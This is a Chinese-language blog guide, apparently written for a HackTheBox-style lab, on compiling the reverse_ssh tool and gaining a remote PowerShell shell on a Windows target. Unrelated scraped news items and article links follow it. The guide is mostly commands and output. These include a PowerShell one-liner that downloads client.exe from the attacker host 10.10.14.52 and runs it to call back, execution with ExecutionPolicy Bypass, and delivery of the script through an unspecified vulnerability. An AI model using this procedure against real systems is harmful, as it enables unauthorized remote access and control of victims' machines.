reverse_ssh 建立反向 SSH 连接指南 混淆AV [好东西哟]

article/2025/6/13 22:34:35

目录

🌐 工具简介

⚙️ 前提条件

攻击主机 (Linux)

目标主机 (Windows)

📋 详细步骤

步骤 1:安装 Go 环境

步骤 2:安装必要依赖

步骤 3:下载并编译 reverse_ssh

步骤 4:配置密钥

步骤 5:启动 reverse_ssh 服务器

步骤 6:创建 PowerShell 脚本

步骤 7:生成 diff.txt

步骤 8:启动 HTTP 服务器

步骤 9:目标主机:执行 PowerShell 脚本

步骤 10:攻击主机:确认连接并获取 ID

步骤 11:攻击主机:建立 SSH 连接

❗️ 错误排查与修复

错误 1:主机密钥验证失败

错误 2:公钥认证失败


🌐 工具简介

reverse_ssh 是一个基于 Go 语言开发的开源工具,用于创建反向 SSH 连接。它允许 Windows 目标主机绕过防火墙或 NAT,主动连接到攻击主机的 SSH 服务器,提供交互式 PowerShell shell。

  • 服务器端:运行在攻击主机,监听指定端口(如 3232)。

  • 客户端 (client.exe):运行在 Windows 目标主机,连接到攻击主机。

  • 功能:支持动态端口转发、文件传输(SCP/SFTP)及 Windows 交互式 shell(通过 conpty/winpty)。


⚙️ 前提条件

攻击主机 (Linux)

  • 操作系统:Linux(如 Ubuntu)。

  • 工具:Git、Go(版本 1.17 或更高)、make、Python3、OpenSSH 客户端。

  • 防火墙:开放端口 3232(服务器端口)和 80(HTTP 服务器端口)。

  • IP 地址:10.10.14.52(通过 ifconfig 或 ip addr 确认)。

  • 用户:以 root 或普通用户(如 fidey)操作,需注意文件权限。

目标主机 (Windows)

  • 系统:Windows(支持 PowerShell)。

  • 网络:可访问 10.10.14.52:3232 和 10.10.14.52:80。

  • 权限:通过漏洞利用或其他方式可执行 PowerShell 脚本。


📋 详细步骤

以下步骤假设工作目录为 /home/fidey/Desktop/reverse_ssh,用户为 fidey,但以 root 执行部分命令。

步骤 1:安装 Go 环境

目标:确保 Go(版本 1.17 或更高)正确安装以编译 reverse_ssh。

  1. 检查现有 Go 版本:

    go version
  2. 如果版本低于 1.17 或未安装,继续以下步骤。

  3. 卸载旧版 Go(如有):

    sudo rm -rf /usr/local/go
    sudo apt remove golang-go -y
  4. 下载并安装 Go 1.22.3(截至 2025/05/21 的最新版本):

    wget https://go.dev/dl/go1.22.3.linux-amd64.tar.gz
    sudo tar -C /usr/local -xzf go1.22.3.linux-amd64.tar.gz
  5. 配置环境变量:

    • 编辑 ~/.bashrc 或 ~/.zshrc:

    vim ~/.bashrc
    • 添加:

    export PATH=$PATH:/usr/local/go/bin
  6. 使配置生效:

    source ~/.bashrc
  7. 验证 Go 安装:

    go version

    预期输出

    go version go1.22.3 linux/amd64
  8. 如果输出不正确,检查下载链接或环境变量配置。


步骤 2:安装必要依赖

目标:确保系统具备编译和运行 reverse_ssh 的依赖。

  1. 更新系统包索引:

    sudo apt update
  2. 安装 Git 和 make:

    sudo apt install git make -y
  3. 安装 OpenSSH 客户端(用于后续 SSH 连接):

    sudo apt install openssh-client -y
  4. 攻击主机生成ssh公钥私钥 命令解释:ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N "" ############## ssh-keygen OpenSSH 提供的密钥生成工具,用于创建 SSH 认证所需的公钥/私钥对。 ############## -t ed25519 指定密钥类型为 ed25519(基于 Edwards-curve Digital Signature Algorithm)。 优势:安全性高(等效 RSA 3072 位)、生成速度快、密钥长度短(仅 256 位)。 ############## -f ~/.ssh/id_ed25519 指定私钥保存路径为 ~/.ssh/id_ed25519(用户家目录下的 .ssh 文件夹)。 公钥会自动生成在同路径下,文件名追加 .pub(即 ~/.ssh/id_ed25519.pub)。 ############## -N "" 设置密钥的密码(passphrase)为空(""表示无密码)。 若需密码保护,可替换为 -N "your_password"。 ############## 命令输出示例:

    Generating public/private ed25519 key pair.
    Your identification has been saved in /home/user/.ssh/id_ed25519
    Your public key has been saved in /home/user/.ssh/id_ed25519.pub
    The key fingerprint is:
    SHA256:AbCdEfGhIjKlMnOpQrStUvWxYz1234567890 user@hostname
    The key's randomart image is:
    +--[ED25519 256]--+
    |        .o+o.    |
    |       . oo . .  |
    |      . .  = o   |
    |       o  = * .  |
    |      . S + + .  |
    |         o = .   |
    |          + .    |
    |         . E     |
    |          ..     |
    +----[SHA256]-----+

步骤 3:下载并编译 reverse_ssh

目标:从 GitHub 获取 reverse_ssh v1.0.16 并编译生成服务器和客户端。

  1. 创建工作目录:

    mkdir -p /home/fidey/Desktop/reverse_ssh
    cd /home/fidey/Desktop/reverse_ssh
  2. 克隆 reverse_ssh 仓库(指定 v1.0.16):

    git clone --branch v1.0.16 https://github.com/NHAS/reverse_ssh.git
    cd reverse_ssh
  3. 编译服务器和客户端:

    make

    预期输出

    • bin/server(Linux 服务器)

    • bin/client(Linux 客户端)

    • bin/id_ed25519(服务器私钥)

    • bin/id_ed25519.pub(服务器公钥)

  4. 为 Windows 编译客户端:

    GOOS=windows GOARCH=amd64 make client

    预期输出:bin/client.exe(Windows 可执行文件)。

  5. 验证编译结果:

    ls -l bin/

    预期输出

    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client
    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client.exe
    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 server
    -rw------- 1 fidey fidey      411 May 21 13:00 id_ed25519
    -rw-r--r-- 1 fidey fidey      102 May 21 13:00 id_ed25519.pub

步骤 4:配置密钥

目标:配置服务器密钥和攻击主机公钥以接受连接。

  1. 进入 bin 目录:

    cd bin
  2. 检查服务器密钥:

    ls id_ed25519 id_ed25519.pub
  3. 若缺失,重新生成:

    ssh-keygen -t ed25519 -f id_ed25519 -N ""
  4. 生成攻击主机的 SSH 密钥对(若未生成):

    • 检查 root 用户密钥:

    ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
    • 若不存在,生成:

    sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
  5. 创建并配置 authorized_keys:

    • 创建 authorized_keys 文件:

    touch authorized_keys
    • 添加攻击主机的公钥(假设以 root 连接):

    cat /root/.ssh/id_ed25519.pub >> authorized_keys

    注意:不要将 id_ed25519.pub(服务器公钥)复制到 authorized_keys,这是常见错误。

  6. 设置文件权限:

    chmod 600 authorized_keys id_ed25519
    chmod 644 id_ed25519.pub
  7. 验证权限:

    ls -l authorized_keys id_ed25519 id_ed25519.pub

    预期输出

    -rw------- 1 fidey fidey 102 May 21 13:01 authorized_keys
    -rw------- 1 fidey fidey 411 May 21 13:00 id_ed25519
    -rw-r--r-- 1 fidey fidey 102 May 21 13:00 id_ed25519.pub

步骤 5:启动 reverse_ssh 服务器

目标:运行服务器,监听 0.0.0.0:3232。

  1. 确保在 bin 目录:

    pwd

    预期输出

    /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin
  2. 启动服务器:

    ./server 0.0.0.0:3232 --insecure

    --insecure:跳过部分握手验证,简化连接。 预期输出

    2025/05/21 13:17:02 Listening on 0.0.0.0:3232
    2025/05/21 13:17:02 Loading private key from: /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin/id_ed25519
    2025/05/21 13:17:02 Server key fingerprint: df32b00476bafa0d...
  3. 若提示 authorized_keys 缺失,检查步骤 4。

  4. 验证端口监听:

    netstat -tuln | grep 3232

    预期输出

    tcp        0      0 0.0.0.0:3232            0.0.0.0:*               LISTEN

步骤 6:创建 PowerShell 脚本

目标:生成脚本让目标主机下载并执行 client.exe。

  1. 创建 hello_world.ps1:

    echo 'iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232' > hello_world.ps1
  2. 验证脚本内容:

    cat hello_world.ps1

    预期输出

    iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232

步骤 7:生成 diff.txt

目标:将脚本保存为 diff 格式,便于传递。

  1. 初始化 Git 仓库:

    git init
  2. 添加并生成 diff:

    git add hello_world.ps1
    git diff --cached > diff.txt
  3. 验证 diff.txt:

    cat diff.txt

    预期输出

    diff --git a/hello_world.ps1 b/hello_world.ps1
    new file mode 100644
    --- /dev/null
    +++ b/hello_world.ps1
    @@ -0,0 +1 @@
    +iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe;C:\windows\temp\client.exe 10.10.14.52:3232

步骤 8:启动 HTTP 服务器

目标:提供 client.exe 下载。

  1. 确保 client.exe 存在:

    ls client.exe
  2. 启动 HTTP 服务器:

    python3 -m http.server 80

    在新终端运行,避免干扰服务器进程。

  3. 验证:在攻击主机或另一台机器上运行:

    curl http://10.10.14.52:80/client.exe

    应返回二进制数据或下载文件。


步骤 9:目标主机:执行 PowerShell 脚本

目标:通过漏洞利用运行脚本,建立反向连接。

  1. 传递脚本:

    • 将 diff.txt 内容转换为 C:\temp\hello_world.ps1(通过漏洞传递)。

    • 示例内容:

    iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232
  2. 执行脚本:

    • 在目标主机打开 PowerShell(Win + R,输入 powershell)。

    • 运行:

    powershell -ExecutionPolicy Bypass -File C:\temp\hello_world.ps1
    • 脚本下载 client.exe 并运行,连接到 10.10.14.52:3232。

  3. 检查 client.exe 是否运行:

    dir C:\windows\temp\client.exe
    • 若缺失,检查 HTTP 服务器或防病毒软件拦截。


步骤 10:攻击主机:确认连接并获取 ID

目标:记录目标主机的连接 ID。

  1. 查看服务器终端输出:

    • 成功连接示例:

    2025/05/21 13:20:00 [10.10.11.207:53849] INFO sshd.go:360 acceptConn() : New controllable connection with id 36bc39ca884246b576a98cf7168e530becb34e
  2. 记录连接 ID(如 36bc39ca884246b576a98cf7168e530becb34e)。


步骤 11:攻击主机:建立 SSH 连接

目标:通过连接 ID 获取目标主机的 PowerShell shell。

  1. 尝试连接:

    ssh -J 10.10.14.52:3232 36bc39ca884246b576a98cf7168e530becb34e
  2. 成功后进入 PowerShell shell: 预期输出

    Windows PowerShell
    Copyright (C) Microsoft Corporation. All rights reserved.
    PS C:\TeamCity\buildAgent\work\74c2f03019966b3e> whoami
    coder\svc_teamcity

❗️ 错误排查与修复

错误 1:主机密钥验证失败

错误信息

WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
Host key for [10.10.14.52]:3232 has changed and you have requested strict checking.
Host key verification failed.

原因:/root/.ssh/known_hosts 中的主机密钥与当前服务器密钥不匹配。 解决方案

  1. 移除旧主机密钥:

    ssh-keygen -f "/root/.ssh/known_hosts" -R "[10.10.14.52]:3232"
  2. 临时禁用严格检查(仅测试用):

    ssh -J 10.10.14.52:3232 -o StrictHostKeyChecking=no 36bc39ca884246b576a98cf7168e530becb34e
  3. 重新连接:

    ssh -J 10.10.14.52:3232 <connection_id>

错误 2:公钥认证失败

错误信息

root@10.10.14.52: Permission denied (publickey).
kex_exchange_identification: Connection closed by remote host

原因:攻击主机的公钥未在服务器的 authorized_keys 中。 解决方案

  1. 检查攻击主机密钥:

    ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
  2. 若缺失,生成:

    sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
  3. 添加公钥到 authorized_keys:

    cat /root/.ssh/id_ed25519.pub >> /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin

http://www.hkcw.cn/article/JMUoHSktUa.shtml

相关文章

wavelib库 图像处理

1. Wavelib图像处理核心功能 Wavelib虽主要针对1D信号&#xff0c;但可通过分通道处理实现图像操作&#xff1a; 多级小波分解&#xff08;DWT&#xff09;&#xff1a;提取低频&#xff08;近似&#xff09;和高频&#xff08;细节&#xff09;成分 图像去噪&#xff1a;阈值…

江科大IIC读取MPU6050hal库实现

hal库相关函数 初始化结构体 typedef struct {uint32_t ClockSpeed; /*通讯速度*/uint32_t DutyCycle; /*快速模式下的占空比*/uint32_t OwnAddress1; /*设备地址1*/uint32_t AddressingMode; /*设备地址模式*/uint32_t DualAddressMode; /*双地址模式…

CTFHub-RCE 命令注入-过滤运算符

观察源代码 代码里面可以发现过滤了运算符&#xff0c;我们可以尝试分号&#xff1b; 判断是Windows还是Linux 源代码中有 ping -c 4 说明是Linux 查看有哪些文件 127.0.0.1;ls 打开flag文件 cat这个php文件 127.0.0.1;cat flag_257413168915334.php 可是发现 文本内容显示…

基带传输实验-码型变换

基带传输实验 码型变换 因图片过多且显示失败&#xff0c;故提供源文件共大家按需自行下载&#xff1a;我用夸克网盘分享了「实验报告1.docx」&#xff0c;点击链接即可保存。打开「夸克APP」在线查看&#xff0c;支持多种文档格式转换。 链接&#xff1a;https://pan.quark.c…

中交四航局三公司被罚没7769万元 违规售石料受重罚

5月31日,中交四航局第三工程有限公司因在广连高速TJ02标从化段施工过程中与他人合谋私自出售合法施工产生的石料,被广州市规划和自然资源局处以两项行政处罚,合计罚没金额达77697872元。两项处罚决定日期均为2025年5月23日。根据行政处罚决定书文号穗规划资源从资罚﹝2025﹞…

不必到处扣“恒大”的帽子 无端指责需叫停

恒大或许没想到,多年后会以一种奇特的方式登上热搜。上周,某车企大佬的一番言论引发广泛关注。他提到“汽车产业里的恒大已经出现,只不过还没爆。”这句话在汽车消费市场和金融二级市场中引起巨大反响。这一言论之所以引起热议,一方面是因为恒大暴雷事件给人们留下了深刻印…

Ubuntu 22.04 安装 IsaacLab 2.1.0

安装流程参考 IsaacLab 官方文档 Quickstart Guide — Isaac Lab Documentation 1. 创建虚拟环境 conda create -n isaaclab python3.10 conda activate isaaclab 2. 安装 pytorch&#xff0c;按照官方说明&#xff0c;没什么特殊需求直接用 cuda 11.8 即可 pip install to…

演员贾冰减肥成功瘦到脱相 与妻同框似父女

许久没有同框的贾冰夫妇,在端午节晒出了恩爱合照。5月31日,贾冰太太胡凡凡分享了两人的照片庆祝节日,许久不见的贾冰瘦了许多,妻子写道,从此家中多了一个瘦子。由于贾冰长相显老,与妻子同框时看起来像父女。贾冰在评论区与老婆互动,他开玩笑说:“一次少做点米饭,人家吃…

印度多地因暴雨灾害造成18死 数千人受灾

近日,印度东北部和南部多个地区遭遇强降雨引发的山体滑坡和洪水。过去两天内,至少18人在灾害中丧生,数千人受到影响。阿萨姆邦灾害管理局表示,持续的洪水已经影响了六个地区的超过一万居民。为了应对灾情,当局设立了两个救援营地和一个物资配送中心。根据天气预报,未来两…

天河五山花园楼下拟开网吧引争议 学校家长忧心忡忡

晨光透过榕树叶洒下斑驳光影,空气清新的早晨,五山小学的孩子们背着书包结伴涌入学校。这条绿树成荫的上学路本是让学校和家长都放心的路,但近期由于路过的五山新天地商场拟新开一个“网吧”,变得让人忧心:网吧往往人员流动性大、成分复杂,社区和学生的安全如何保障?青少…

今年端午节粽子刮起低卡风 健康轻食成新宠

临近端午,粽子成为餐桌上的主角。除了传统的咸甜口味之争,“低卡”“低脂”也成为今年粽子市场的新卖点。在沈阳市铁西区的一家生鲜超市内,各式粽子的促销柜台前排满了前来选购的顾客。十色糙米粽子、粗粮低脂无糖粽子等主打“低糖”“低卡”的粽子受到消费者欢迎。销售人员…

[项目亮点(待结合自行设计的组件)]Vue中自定义设计——扩展性原则并以开源的vuedraggable为例

在 Vue 中设计具有良好扩展性的自定义组件&#xff0c;需要遵循一系列设计原则&#xff0c;以确保组件在不同场景下的适应性和可维护性。以下是关键原则及一个示例&#xff0c;帮助您理解如何实现这一目标。 &#x1f9ed; Vue 组件扩展性设计原则 开闭原则&#xff08;Open/Cl…

【AcWing】899. 编辑距离

文章目录 一、题目1、原题链接2、题目描述 二、解题报告1、思路分析2、时间复杂度3、代码详解 一、题目 1、原题链接 902. 最短编辑距离 2、题目描述 二、解题报告 1、思路分析 思路参考来源y总 dp[i][j]表示将a[1~i]变为b[1~j]中所有方案的操作次数最少的一个&#xff1b;按…

Linux基本指令/下

目录 1.echo、cat与printf 2. > 操作符 与 >> 操作符 3. < 操作符 4.消息传送 linux文件深入 5.文件类型 6.mv命令 7.时间相关指令 8.查找命令 9.grep命令 10.zip/unzip/tar命令 11.scp命令 12.bc命令 13.uname 指令 14.快捷键大全 15.关机/重启/睡…

从gitee仓库中恢复IDEA项目某一版本

神奇的功能&#xff01;&#xff01;&#xff01;代码改乱了&#xff0c;但是还有救&#xff01; 打开终端&#xff0c;输入git log 复制想要恢复版本的提交哈希值&#xff0c;打开终端输入git reset --hard <哈希值> &#xff0c;就能修复到那时的提交版本了

排污许可证原始数据(1989-2025.5)

1156 排污许可证原始数据&#xff08;1989-2025.5&#xff09; “污染”年度发文数及主题分布 数据来源 本数据来源于全国排污许可证管理信息平台&#xff0c;由数据皮皮侠团队人工整理&#xff0c;全部内容真实有效。 时间跨度 1989-2025.5 数据范围 省、地级市企业 数…

华为云Flexus+DeepSeek征文|华为云 Flexus X 加速 Dify 平台落地:高性能、低成本、强可靠性的云上选择

目录 前言 1 一键部署 Dify 平台的完整步骤 1.1 选择模板 1.2 参数配置 1.3 资源栈设置 1.4 配置确认与部署 2 Flexus X 服务器的技术优势 2.1 柔性算力随心配 2.2 一直加速一直快 2.3 越用越省降本多 2.4 安全可靠更放心 3 Flexus X 在 Dify 解决方案中的性能体验…

【题解-洛谷】P9422 [蓝桥杯 2023 国 B] 合并数列

题目&#xff1a;P9422 [蓝桥杯 2023 国 B] 合并数列 题目描述 小明发现有很多方案可以把一个很大的正整数拆成若干正整数的和。他采取了其中两种方案&#xff0c;分别将他们列为两个数组 { a 1 , a 2 , ⋯ a n } \{a_1, a_2, \cdots a_n\} {a1​,a2​,⋯an​} 和 { b 1 , …

在Windows本地部署Dify详细操作

Dify官网文档&#xff1a;产品简介 - Dify Docs 1.硬件要求 2.部署方式选择 本次我选择Docker Compose 部署&#xff0c;接下来我将根据官方文档指引&#xff0c;在windows电脑上完成dify本地部署 3.DockerCompose本地部署Dify 3.1 安装WSL2 官方安装WSL2的操作说明入口&…

《彩云追月》音乐会尽展民乐柔美 传统与现代交融

5月30日晚,北京演艺集团旗下北京民族乐团在北京艺术中心上演了民族音乐会《彩云追月》。作为北京演艺集团第十一届“五月演出季”的收官项目,本场音乐会在著名指挥家张冰冰的执棒下,为观众呈现了一场融合传统与现代、柔美与激情的民乐之旅。音乐会以北京民族乐团原创作品《长…